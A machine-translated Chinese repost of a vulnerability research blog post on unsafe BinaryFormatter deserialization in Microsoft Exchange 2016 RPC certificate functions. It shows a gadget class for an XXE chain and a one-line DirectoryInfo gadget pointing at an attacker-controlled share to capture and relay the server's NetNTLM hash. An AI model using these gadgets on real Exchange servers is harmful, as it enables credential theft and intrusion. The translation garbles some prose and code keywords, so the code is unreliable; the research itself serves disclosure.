查看像 Microsoft Exchange 这样的庞大代码库通常是由我的第一种方法驱动的。很高兴看到较小的项目,但学习不同类型的模式(和反模式)特性,例如某种编程语言,只有通过查看巨人才有可能。
作为爱DESE [R ialization缺陷,而现在,和Microsoft Exchange有这类问题的历史了,我试着密切跟踪这种类型的不同可公开获得的漏洞。
有时似乎有机会偶然发现一些新的漏洞。我认为这将是其中之一(它是[第一个]不是!)。
从序列化表示中重建对象可能会导致危险行为,例如远程代码执行 (RCE)。.NET 中这些众所周知的接收器之一是来自“未受保护”格式化程序的反序列化调用,例如BinaryFormatter
.
在安装了各种版本的 Microsoft Exchange 之后,我的一次旅程将我带到了(据说)最新版本的 Exchange 2016。搜索各种 Formatter 调用将我带到了 Exchange Rpc功能,你们中的一些人可能从Outlook Anywhere或交换器之类的工具中知道这些功能(“RPC over HTTP v2 ”)。Microsoft 创建的二进制协议可以(并且仍然)用于此目的,而不是使用人类可读的 HTTP 请求在客户端和 Exchange 服务器后端之间进行通信。
所以,这就是我在考虑反序列化的情况下查看 Rpc 函数时发现的。该类Microsoft.Exchange.Rpc.ExchangeCertificates.ExchangeCertificateRpcServer
提供了几个函数原型,可能可以通过/rpc
端点调用。
然后Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer
该类相应地实现了原型。
将byte[] inputBlob
这些函数之一中的方法参数作为例如ImportCertificate(int version, byte[] inputBlob, SecureString password)
将我们带到Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper
.
在这里,构造函数Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc
被调用。
方法调用DeserializeObject(inputBlob, false)
到达同一个类中的危险接收器
用BinaryFormatter
反序列化byte[] inputBlob
(这里byte[] data
)没有使用正确的SerializationBinder
或任何其他形式的保护。这可能会导致带有从ysoserial .NET生成的有效负载的 RCE 。
接下来必须面对几个问题:
inputBlob
字节数组到达接收器?长话短说,我几乎立即回答了问题 3,我意识到我在将 Exchange 安装修补到最新版本时完全失败了。我以为我做到了,但没有正确。这一刻,一种愤怒的情绪涌上心头,因为这不是我第一次“重新发现”旧的发现。但是,当我说:一个人在(重新)发现的每个阶段都会学习大量新事物时,请听我说,这也是最终重要的。有时,您甚至可能会重新发现默默修补的漏洞。
但这不是结束。在我们将服务器正确修补到Exchange 2016 CU22(带有最新的 11 月修补程序 KB5007409)之后,我们确实发现了一些有趣的事情。
所以回到工作中,我意识到这个完全修补的 Exchange 还提供了该类Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc
及其方法DeserializeObject(byte[] data, bool customized)
来反序列化上述相同类型的东西。
在这个完全修补的版本中,可以Microsoft.Exchange.Rpc.ExchangeCertificate.ExchangeCertificateRpcServer
再次将与上述非常相似的代码路径跟踪到原型,例如ImportCertificate(int version, byte[] pInBytes, SecureString password)
.
在新推出的Microsoft.Exchange.Diagnostics.ChainedSerializationBinder
约CVE-2021-42321由张和彼得的Json的nDay研究文章已经讨论(同样,读它!)。
正如 Jang 和 Peter 详细解释的那样,有几种情况可以反序列化恶意负载:
strictMode
必须被设置为False
Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization
其中定义的拒绝列表基本上会从 ysoserial .NET 中杀死所有已知的 .NET 反序列化小工具正如他们在文章中所指出的,对于 CVE-2021–42321,“绕过”非常简单,因为
strictMode
未设置,因此False
默认情况下因为这当然在我修补的 Exchange 实例中得到了修复,所以我想再次查看我们的 Rpc 反序列化代码。有趣的是,所有“安全”BinaryFormatter
实例都是ExchangeBinaryFormatterFactory.CreateBinaryFormatter(...)
使用Enum 的某个条目Microsoft.Exchange.Diagnostics.DeserializationLocation
作为strictMode
确定的输入参数从工厂创建的(参见上面本段的第一张图片)。为了证明我们的第一个条件是否strictMode = False
适用于 Rpc 源,我编写了一个快速而肮脏的程序并在我的 Exchange 服务器上执行它。
使用 Microsoft.Exchange.Data.Serialization;
使用 Microsoft.Exchange.Diagnostics;
使用系统;
命名空间 ExchangeStrictModeCheck
{
类程序
{
静态无效 Main(string[] args)
{
bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc);
Console.WriteLine("ExchangeCertificateRpc - strictMode = " + strictModeStatus);
数组值 = Enum.GetValues(typeof(DeserializeLocation));
foreach (DeserializeLocation val in values)
{
Console.WriteLine(val + "strictMode = " + Serialization.GetStrictModeStatus(val));
}
}
}
}
事实上, 的值ExchangeCertificateRpc
被设置为False
。上面的代码不仅返回了这个特定 Enum 条目评估的值,而且在第二步中迭代了所有 Enum 条目。这是输出的摘录:
...
ExchangeCertificateRpc - strictMode = False
Unclassified strictMode = False
Test strictMode = False
Hygiene_CacheSerializer strictMode = False
TopologyDiscovery strictMode = False
UmCore_PipelineContext strictMode = False
UmCommon_Serialization strictMode = False
SharepointNotification strictMode = False
SwordFish_AirSync strictMode = False
SwordFish_UserGroup strictMode = False
SwordFish_Extensions strictMode = False
ModelItemCacheObject = False
TopNConfiguration strictMode = False
TopNData strictMode = False
GroupProvider strictMode = False
SubscribeListHelper strictMode = False
NormalizationCache strictMode = False
ClientExtensionCollectionFormatter strictMode = True
...
阅读整个输出仔细发现,只有11人的94值导致strictMode
被设置为True
。好吧,这意味着绝大多数条目都相等False
,因此在很多情况下,设计上都满足了“绕过条件 1” 。
接下来,“绕过条件 2”变得更加棘手,因为导致 CVE-2021-42321 的不完整拒绝列表已相应调整。如果可以找到另一个不在此拒绝列表中的小工具怎么办?我必须找到花哨的链,即真正新的 RCE 小工具吗?不,我没有,因为桥接小工具也完全可以正常工作(GadgetTypes.BridgeAndDerived
在 ysoserial .NET 中查找)。
让我们再次从失败的尝试开始。在Steven在当前 Exchange 版本中的 XXE 工作的推动下(参见CVE-2020-17141),也许我可以找到一个导致 XXE 接收器的桥接小工具(每个人都专注于即时 RCE 的东西,对吗?)。
该程序集System.Windows.Forms.TableLayoutSettings
(在 GAC 中可用,因此这是“通用的”而不是特定于 Exchange 的)实现了一个序列化构造函数以及一个自定义 TypeConverter
在反SerializationInfo
序列化期间,源自序列化对象的参数包含一个名为SerializedString
. 此外,converter.ConvertFromInvariantString(@string)
调用ConvertFrom
在System.Windows.Forms.Layout.TableLayoutSettingsTypeConverter
.
最后,SerializedString
终于到达了XmlDocument.loadXml(string)
可以触发XXE的sink。可以简单地编写一个 ysoserial .NET 小工具来创建有效负载。相关部分如下所示:
[Serializable]
公共类 TableLayoutSettingsMarshal : ISerializable
{
public TableLayoutSettingsMarshal(string payload)
{
Payload = payload;
}
私有字符串有效载荷 { 获取;}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(Type.GetType("System.Windows.Forms.TableLayoutSettings, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089") );
info.AddValue("SerializedString", Payload);
}
}
随意实现缺少的代码并向 ysoserial .NET 项目提出拉取请求。这是一个很好的练习。
事实证明,我以前的怀疑是正确的:.NET 框架< 4.5.2 的XXE很棘手,几乎不可能,有时可能通过“不幸”XmlResolver
实现等。所以这不适用于最新的 Exchange 2016 版本。
但后来我想起了我的旧推文。那时,我正在寻找一种URLDNS(类似于 Java ysoserial)小工具,但用于 .NET。我发现的小工具不仅能够触发 DNS 请求,而且本质上还能够触发 SMB(或 WEBDAV)向攻击者控制的共享请求。像这样简单地写一行代码
System.IO.DirectoryInfo gadget = new System.IO.DirectoryInfo(@"\\YOURHOST\~WithATilde");
BinaryFormatter
在我们的例子中,使用您选择的 Formatter 序列化对象。
现在 SMB 签名可能被禁用,在 Exchange 服务器上安装了 WebClientService 或启用了 WEBDAV 重定向器(在生产环境中看到所有这些!),然后您可以捕获 Exchange 计算机帐户 NetNTLM 哈希并将其中继到您的 Active Directory 中的其他主机(AD) 环境,做了很多坏事。有大量关于中继攻击的出色研究和与 AD 相关的渗透测试文章,所以我不会详细介绍。
那这行得通吗?是的,它确实做到了,基本上我实现了我的目标,即永远不应将拒绝列表方法用于主要保护。在 Exchange 的情况下,对于83 个(记住Serialization.GetStrictModeStatus(DeserializeLocation.*)
)潜在的 BinaryFormatter 工厂调用版本,拒绝列表将是唯一的保护(这里没有“深度防御”)!并亲自检查整个 Exchange 代码库中是否存在多个此类调用。
本文系外文翻译,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系外文翻译,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。